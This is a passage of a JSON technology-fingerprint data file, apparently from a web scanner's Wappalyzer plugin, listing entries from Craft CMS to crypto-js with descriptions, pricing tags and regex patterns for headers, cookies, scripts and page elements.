\"X-Powered-By\": \"\\\\bCraft CMS\\\\b\"\n    },\n    \"icon\": \"Craft CMS.svg\",\n    \"implies\": [\n      \"Yii\"\n    ],\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"website\": \"https://craftcms.com/\"\n  },\n  \"Craft Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"\\\\bCraft Commerce\\\\b\"\n    },\n    \"icon\": \"Craft CMS.svg\",\n    \"implies\": [\n      \"Craft CMS\"\n    ],\n    \"website\": \"https://craftcommerce.com\"\n  },\n  \"Craftum\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Craftum is an Russian website builder.\",\n    \"icon\": \"Craftum.svg\",\n    \"meta\": {\n      \"generator\": \"^Craftum CMS$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://craftum.com\"\n  },\n  \"Crall\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Crall is a personalized shopping experience system.\",\n    \"icon\": \"Crall.svg\",\n    \"js\": {\n      \"_CrallConfig\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.crall\\\\.io/w/widgets\\\\.js\\\\?v=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://crall.io/\"\n  },\n  \"Cratejoy\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"cookies\": {\n      \"cratejoy_muffin42\": \"\",\n      \"statjoy_metrics\": \"\"\n    },\n    \"description\": \"Cratejoy is a brand new ecommerce platform with a focus on subscription payments.\",\n    \"icon\": \"Cratejoy.png\",\n    \"js\": {\n      \"statjoyServer\": \"stats\\\\.cratejoy\\\\.com\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cratejoy.com\"\n  },\n  \"Crayon Syntax Highlighter\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Syntax Highlighter supporting multiple languages, themes, fonts, highlighting from a URL, local file or post text.\",\n    \"dom\": [\n      \"link#crayon-css, link#crayon\"\n    ],\n    \"js\": {\n      \"CrayonSyntaxSettings\": \"\",\n      \"CrayonSyntaxStrings\": \"\",\n      \"CrayonTagEditorSettings\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"crayon-syntax-highlighter(?:\\\\/js)?(?:\\\\/min)?(?:\\\\/crayon)?(?:\\\\.te)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=_((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/crayon-syntax-highlighter/\"\n  },\n  \"Crazy Egg\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Crazy Egg.png\",\n    \"js\": {\n      \"CE2\": \"\"\n    },\n    \"scriptSrc\": [\n      \"script\\\\.crazyegg\\\\.com/pages/scripts/\\\\d+/\\\\d+\\\\.js\"\n    ],\n    \"website\": \"https://crazyegg.com\"\n  },\n  \"Crealive\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Crealive is a boutique digital agency.\",\n    \"dom\": [\n      \"div[class^='crealive'] > a[href*='.crealive.net']\"\n    ],\n    \"icon\": \"Crealive.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"Laravel\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Cart Functionality\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://crealive.net\"\n  },\n  \"CreateJS\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"CreateJS is a suite of modular libraries and tools which work together or independently to enable interactive content on open web technologies via HTML5.\",\n    \"icon\": \"CreateJS.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"code\\\\.createjs\\\\.com/\"\n    ],\n    \"website\": \"https://code.createjs.com\"\n  },\n  \"Creatium\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Creatium is a website builder developed in Russia that provides a user-friendly drag-and-drop interface and a variety of customisation options for creating websites without coding knowledge.\",\n    \"icon\": \"Creatium.svg\",\n    \"meta\": {\n      \"generator\": \"^Creatium$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://creatium.io\"\n  },\n  \"Creativ.eMail\": {\n    \"cats\": [\n      87,\n      75\n    ],\n    \"description\": \"Creativ.eMail is a email editor WordPress plugin which simplifies email marketing campaign creation and pulls your WordPress blog posts, website images and WooCommerce products right into your email content.\",\n    \"icon\": \"Creativ.eMail.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/creative-mail-by-constant-contact/\"\n    ],\n    \"website\": \"https://www.creativemail.com\"\n  },\n  \"Creoline\": {\n    \"cats\": [\n      9\n    ],\n    \"description\": \"Creoline is a provider of scalable cloud solutions and application domain services.\",\n    \"dom\": [\n      \"link[href*='.cstatic.io/']\"\n    ],\n    \"icon\": \"Creoline.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.creoline.com\"\n  },\n  \"Crikle\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Crikle is a multichannel customer engagement software.\",\n    \"icon\": \"Crikle.svg\",\n    \"js\": {\n      \"crikle.contactId\": \"\",\n      \"crikle.openConvertWidget\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.crikle.com\"\n  },\n  \"Crisp Live Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Crisp Live Chat is a live chat solution with free and paid options.\",\n    \"icon\": \"Crisp Live Chat.svg\",\n    \"js\": {\n      \"$__CRISP_INCLUDED\": \"\",\n      \"$crisp\": \"\",\n      \"CRISP_WEBSITE_ID\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"client\\\\.crisp\\\\.chat/\"\n    ],\n    \"website\": \"https://crisp.chat/\"\n  },\n  \"Criteo\": {\n    \"cats\": [\n      36,\n      77\n    ],\n    \"description\": \"Criteo provides personalised retargeting that works with Internet retailers to serve personalised online display advertisements to consumers who have previously visited the advertiser's website.\",\n    \"dom\": [\n      \"link[href*='.criteo.com']\"\n    ],\n    \"icon\": \"Criteo.svg\",\n    \"js\": {\n      \"Criteo\": \"\",\n      \"criteo_pubtag\": \"\",\n      \"criteo_q\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//(?:cas\\\\.criteo\\\\.com|(?:[^/]\\\\.)?criteo\\\\.net)/\",\n      \"//static\\\\.criteo\\\\.net/js/ld/ld\\\\.js\"\n    ],\n    \"website\": \"https://criteo.com\"\n  },\n  \"Crobox\": {\n    \"cats\": [\n      5\n    ],\n    \"icon\": \"Crobox.svg\",\n    \"js\": {\n      \"crobox\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.crobox\\\\.com\"\n    ],\n    \"website\": \"https://crobox.com/\"\n  },\n  \"Crocoblock JetElements\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Crocoblock JetElements is an addon for Elementor that adds additional customisation options to the page builder.\",\n    \"icon\": \"Crocoblock.svg\",\n    \"js\": {\n      \"jetElements\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Elementor\"\n    ],\n    \"website\": \"https://crocoblock.com/plugins/jetelements\"\n  },\n  \"Cross Pixel\": {\n    \"cats\": [\n      77\n    ],\n    \"description\": \"Cross Pixel is an advertising platform through which advertisers can leverage the marriage of partner audience synergies with the power of retargeting.\",\n    \"icon\": \"Cross Pixel.svg\",\n    \"js\": {\n      \"cp_C4w1ldN2d9PmVrkN\": \"\"\n    },\n    \"scriptSrc\": [\n      \"tag\\\\.crsspxl\\\\.com\"\n    ],\n    \"website\": \"https://crosspixel.net\"\n  },\n  \"Cross Sell\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Cross Sell provide recommendations solution for Shopify based sites.\",\n    \"icon\": \"CrossSell.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"Cart Functionality\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"load\\\\.csell\\\\.co\"\n    ],\n    \"website\": \"https://csell.io/\"\n  },\n  \"CrossBox\": {\n    \"cats\": [\n      30\n    ],\n    \"description\": \"CrossBox is a webmail client.\",\n    \"headers\": {\n      \"server\": \"CBX-WS\"\n    },\n    \"icon\": \"CrossBox.svg\",\n    \"website\": \"https://crossbox.io\"\n  },\n  \"CrownPeak\": {\n    \"cats\": [\n      1,\n      19\n    ],\n    \"description\": \"CrownPeak is a cloud-based Digital Experience Platform (DXP).\",\n    \"icon\": \"CrownPeak.svg\",\n    \"js\": {\n      \"CrownPeakAutocomplete\": \"\",\n      \"CrownPeakSearch\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js/crownpeak\\\\.\"\n    ],\n    \"scripts\": [\n      \"crownpeak\\\\.net\"\n    ],\n    \"website\": \"https://www.crownpeak.com\"\n  },\n  \"CrownPeak Universal Consent Platform\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"CrownPeak Universal Consent Platform is a tool for managing user consent and ensuring compliance with data privacy regulations.\",\n    \"dom\": [\n      \"a[href*='info.evidon.com/pub_info/']\"\n    ],\n    \"icon\": \"CrownPeak.svg\",\n    \"js\": {\n      \"EB.EvidonConsent\": \"\",\n      \"evidon\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.evidon\\\\.com/\"\n    ],\n    \"website\": \"https://www.crownpeak.com/products/privacy-and-consent-management\"\n  },\n  \"Cryout Creations Bravada\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Bravada is an unparalleled fullscreen WordPress theme created by Cryout Creations.\",\n    \"dom\": [\n      \"link#bravada-style-css, img[src*='/wp-content/themes/bravada/']\"\n    ],\n    \"icon\": \"Cryout Creations.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/bravada(?:-plus)?/.+frontend\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.cryoutcreations.eu/wordpress-themes/bravada\"\n  },\n  \"Cryout Creations Fluida\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Fluida is a modern, crystal clear and squeaky clean WordPress theme by Cryout Creations.\",\n    \"dom\": [\n      \"link#fluida-themefonts-css\"\n    ],\n    \"icon\": \"Cryout Creations.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/fluida(?:-plus)?/.+frontend\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.cryoutcreations.eu/wordpress-themes/fluida\"\n  },\n  \"Cryout Creations Mantra\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Mantra is a do-it-yourself WordPress theme, featuring a pack of over 100 customization option created by Cryout Creations.\",\n    \"dom\": [\n      \"link#mantra-style-css, img[src*='/wp-content/themes/mantra/']\"\n    ],\n    \"icon\": \"Cryout Creations.svg\",\n    \"js\": {\n      \"mantra_mobilemenu_init\": \"\",\n      \"mantra_onload\": \"\",\n      \"mantra_options\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/mantra(?:-plus)?/.+frontend\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.cryoutcreations.eu/wordpress-themes/mantra\"\n  },\n  \"Cryout Creations Parabola\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Parabola is an fully responsive, clean and elegant design WordPress theme created by Cryout Creations.\",\n    \"dom\": [\n      \"link#parabola-style-css, img[src*='/wp-content/themes/parabola/']\"\n    ],\n    \"icon\": \"Cryout Creations.svg\",\n    \"js\": {\n      \"parabola_mobilemenu_init\": \"\",\n      \"parabola_settings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/parabola/.+frontend\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.cryoutcreations.eu/wordpress-themes/parabola\"\n  },\n  \"Crypto-Loot\": {\n    \"cats\": [\n      56\n    ],\n    \"description\": \"Crypto-Loot is a browser based web miner for the uPlexa Blockchain.\",\n    \"icon\": \"Crypto-Loot.svg\",\n    \"js\": {\n      \"CRLT.CONFIG.ASMJS_NAME\": \"\",\n      \"CryptoLoot\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^/crypto-loot\\\\.com/lib/\",\n      \"^/webmine\\\\.pro/\",\n      \"^/cryptoloot\\\\.pro/\",\n      \"/crlt\\\\.js\\\\;confidence:75\"\n    ],\n    \"website\": \"https://crypto-loot.com/\"\n  },\n  \"Crystallize\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Crystallize is an ecommerce platform that offers a headless ecommerce solution for businesses.\",\n    \"dom\": [\n      \"link[href*='.crystallize.com']\"\n    ],\n    \"icon\": \"Crystallize.svg\",\n    \"js\": {\n      \"__crystallizeConfig.API_URL\": \"\\\\.crystallize\\\\.com\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://crystallize.com\"\n  },\n  \"CubeCart\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:cubecart:cubecart:*:*:*:*:*:*:*:*\",\n    \"description\": \"CubeCart is a free ecommerce platform that businesses can use to build, manage, and market their online stores.\",\n    \"dom\": [\n      \"a[href*='.cubecart.com'][target='_blank']\"\n    ],\n    \"icon\": \"CubeCart.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"cubecart\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.cubecart.com\"\n  },\n  \"Cubilis\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Cubilis is a management and reservation system for all types of accommodation, such as hotels, B&Bs and hostels.\",\n    \"icon\": \"Cubilis.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.cubilis\\\\.eu/\"\n    ],\n    \"website\": \"https://www.cubilis.com\"\n  },\n  \"Cubyn\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Cubyn is B2B logistics company headquartered in France.\",\n    \"icon\": \"Cubyn.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bCubyn\\\\b\"\n    ],\n    \"website\": \"https://www.cubyn.com\"\n  },\n  \"Cufon\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Cufon is a tool used to overlap real text with an image.\",\n    \"icon\": \"Cufon.png\",\n    \"js\": {\n      \"Cufon\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cufon-yui\\\\.js\"\n    ],\n    \"website\": \"https://cufon.shoqolate.com\"\n  },\n  \"Custom Fonts\": {\n    \"cats\": [\n      87,\n      17\n    ],\n    \"description\": \"Custom Fonts plugin helps you easily embed custom fonts files (woff2, woff, ttf, svg, eot, otf) easily in your WordPress website.\",\n    \"icon\": \"Custom Fonts.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/custom-fonts/\"\n    ],\n    \"website\": \"https://github.com/brainstormforce/custom-fonts\"\n  },\n  \"Custom Twitter Feeds\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Custom Twitter Feeds for Wordpress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/custom-twitter-feeds/']\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"custom-twitter-feeds(?:\\\\/js)?(?:\\\\/ctf-scripts)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/custom-twitter-feeds\"\n  },\n  \"Customer Alliance\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Customer Alliance is a cloud-based platform facilitating customer reviews and feedback management and analysis.\",\n    \"icon\": \"CustomerAlliance.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.customer-alliance\\\\.com/\"\n    ],\n    \"website\": \"https://www.customer-alliance.com\"\n  },\n  \"Customer.io\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Customer.io is an automated messaging platform for marketers.\",\n    \"icon\": \"Customer.io.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.customer\\\\.io\"\n    ],\n    \"website\": \"https://customer.io/\"\n  },\n  \"Customily\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Customily is an online product personalisation software.\",\n    \"icon\": \"Customily.svg\",\n    \"js\": {\n      \"customily.sticky\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:cdn|app)\\\\.customily\\\\.com/\"\n    ],\n    \"website\": \"https://www.customily.com\"\n  },\n  \"Cux\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Cux is a UX automation tool designed to enhance conversion rates by analysing and utilising behavioural patterns.\",\n    \"icon\": \"Cux.svg\",\n    \"js\": {\n      \"_cux.send\": \"\",\n      \"_cuxSettings\": \"\",\n      \"_cux_q\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://cux.io\"\n  },\n  \"Cvent\": {\n    \"cats\": [\n      72,\n      104\n    ],\n    \"description\": \"Cvent is an event management software that offers a platform for managing in-person, virtual, and hybrid events.\",\n    \"icon\": \"Cvent.svg\",\n    \"js\": {\n      \"CVENT\": \"\",\n      \"CVENT.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"Cvent_findElement\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cvent-assets\\\\.com/\"\n    ],\n    \"website\": \"https://www.cvent.com\"\n  },\n  \"Cwicly\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Cwicly is an advanced professional design and block toolkit that integrates directly with the WordPress editor.\",\n    \"dom\": [\n      \"link[href*='/wp-content/uploads/cwicly/']\"\n    ],\n    \"icon\": \"Cwicly.svg\",\n    \"implies\": [\n      \"Gutenberg\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/cwicly/\"\n    ],\n    \"website\": \"https://cwicly.com\"\n  },\n  \"Cxense\": {\n    \"cats\": [\n      76,\n      86\n    ],\n    \"description\": \"Cxense was an AI-powered data management and intelligent personalisation platform.\",\n    \"icon\": \"Cxense.png\",\n    \"meta\": {\n      \"cXenseParse:itm-meta-keywords\": \"\",\n      \"cXenseParse:pageclass\": \"\",\n      \"cXenseParse:publishtime\": \"\",\n      \"cXenseParse:url\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cxense\\\\.com/\"\n    ],\n    \"website\": \"https://www.cxense.com\"\n  },\n  \"CyberChimps Responsive\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"CyberChimps Responsive is a modern, lightweight, fully customizable, fast and responsive WordPress theme.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/responsive/'], link[href*='/wp-content/themes/responsivepro/']\"\n    ],\n    \"icon\": \"CyberChimps.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/responsive(?:pro)?/\"\n    ],\n    \"website\": \"https://cyberchimps.com/responsive\"\n  },\n  \"Cybersource\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Cybersource is an ecommerce credit card payment system solution.\",\n    \"icon\": \"cybersource.svg\",\n    \"scriptSrc\": [\n      \"cybersource\\\\..+\\\\.js\"\n    ],\n    \"website\": \"https://www.cybersource.com/\"\n  },\n  \"Cylindo\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"Cylindo is a provider of automated content creation for 3D assets and photorealistic images, facilitating product visualization that can be utilized in various settings.\",\n    \"icon\": \"Cylindo.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"viewer-cdn\\\\.cylindo\\\\.com/\"\n    ],\n    \"website\": \"https://www.cylindo.com\"\n  },\n  \"Czater\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Czater is an live chat solution with extended CRM and videochat features.\",\n    \"icon\": \"Czater.svg\",\n    \"js\": {\n      \"$czater\": \"\",\n      \"$czaterMethods\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.czater\\\\.pl\"\n    ],\n    \"website\": \"https://www.czater.pl\"\n  },\n  \"cPanel\": {\n    \"cats\": [\n      9\n    ],\n    \"cookies\": {\n      \"cprelogin\": \"\",\n      \"cpsession\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:*\",\n    \"description\": \"cPanel is a web hosting control panel. The software provides a graphical interface and automation tools designed to simplify the process of hosting a website.\",\n    \"headers\": {\n      \"Server\": \"cpsrvd/([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"<!-- cPanel\"\n    ],\n    \"icon\": \"cPanel.svg\",\n    \"website\": \"https://www.cpanel.net\"\n  },\n  \"cState\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"cState is an open-source static (serverless) status page.\",\n    \"icon\": \"cState.svg\",\n    \"meta\": {\n      \"generator\": \"cState v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/cstate/cstate\"\n  },\n  \"cStore\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"cStore is a B2B wholesale platform facilitating automatic order acceptance from regular customers.\",\n    \"icon\": \"cStore.svg\",\n    \"meta\": {\n      \"author\": \"^cStore - www.cstore.pl$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cstore.pl\"\n  },\n  \"cashew\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Cashew is a buy now, pay later platform that allows its customers to shop now and pay later in equal monthly installments.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.cashewpayments\\\\.com\"\n    },\n    \"icon\": \"cashew.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cashewpayments\\\\.com/\"\n    ],\n    \"website\": \"https://www.cashewpayments.com\"\n  },\n  \"cdnjs\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"cdnjs is a free distributed JS library delivery service.\",\n    \"dom\": [\n      \"link[href*='cdnjs.cloudflare.com/']\"\n    ],\n    \"icon\": \"cdnjs.svg\",\n    \"implies\": [\n      \"Cloudflare\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"cdnjs\\\\.cloudflare\\\\.com\"\n    ],\n    \"website\": \"https://cdnjs.com\"\n  },\n  \"cgit\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"cgit is a web interface (cgi) for Git repositories, written in C. licensed under GPLv2.\",\n    \"icon\": \"cgit.png\",\n    \"implies\": [\n      \"git\",\n      \"C\"\n    ],\n    \"meta\": {\n      \"generator\": \"^cgit v([\\\\d.a-z-]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://git.zx2c4.com/cgit\"\n  },\n  \"chroma.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"chroma.js is a small-ish zero-dependency JavaScript library for all kinds of color conversions and color scales.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"chroma(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?chroma(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.vis4.net/chromajs/\"\n  },\n  \"clickio\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Clickio Consent Tool collects and communicates consent both to IAB Framework vendors and to Google Ads products.\",\n    \"icon\": \"clickio.svg\",\n    \"scriptSrc\": [\n      \"clickio\\\\.mgr\\\\.consensu\\\\.org/t/consent_[0-9]+\\\\.js\"\n    ],\n    \"website\": \"https://www.gdpr.clickio.com/\"\n  },\n  \"comScore\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"comScore is an American media measurement and analytics company providing marketing data and analytics to enterprises; media and advertising agencies; and publishers.\",\n    \"dom\": [\n      \"iframe[src*='.scorecardresearch.com/beacon'], iframe#comscore, iframe[src*='COMSCORE.beacon']\"\n    ],\n    \"icon\": \"comScore.svg\",\n    \"js\": {\n      \"COMSCORE\": \"\",\n      \"_COMSCORE\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.scorecardresearch\\\\.com/beacon\\\\.js|COMSCORE\\\\.beacon\"\n    ],\n    \"website\": \"https://comscore.com\"\n  },\n  \"commercetools\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"commercetools is a headless commerce platform.\",\n    \"dom\": [\n      \"link[href*='.commercetools.com/'], body[data-commerce-tools-host*='.commercetools.com']\"\n    ],\n    \"icon\": \"commercetools.svg\",\n    \"implies\": [\n      \"GraphQL\"\n    ],\n    \"js\": {\n      \"COMMERCE_TOOLS_HOST_ATT\": \"\",\n      \"COMMERCE_TOOLS_PROJECT_KEY_ATT\": \"\",\n      \"__NEXT_DATA__.props.pageProps.commercetoolsEntity\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://commercetools.com\",\n    \"xhr\": [\n      \"\\\\.commercetools\\\\.com/\"\n    ]\n  },\n  \"core-js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"core-js is a modular standard library for JavaScript, with polyfills for cutting-edge ECMAScript features.\",\n    \"icon\": \"core-js.png\",\n    \"js\": {\n      \"__core-js_shared__\": \"\",\n      \"__core-js_shared__.versions.0.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"_babelPolyfill\": \"\",\n      \"core\": \"\",\n      \"core.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/zloirock/core-js\"\n  },\n  \"crypto-js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"crypto-js is a JavaScript library of crypto standards.\",\n    \"icon\": \"default.svg\",\n    \"js\": {\n      \"CryptoJS.Rabbit\": \"\",\n      \"CryptoJS.algo\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:/([\\\\d\\\\.-]+))?/crypto-js(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/brix/crypto-js\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/d.json",
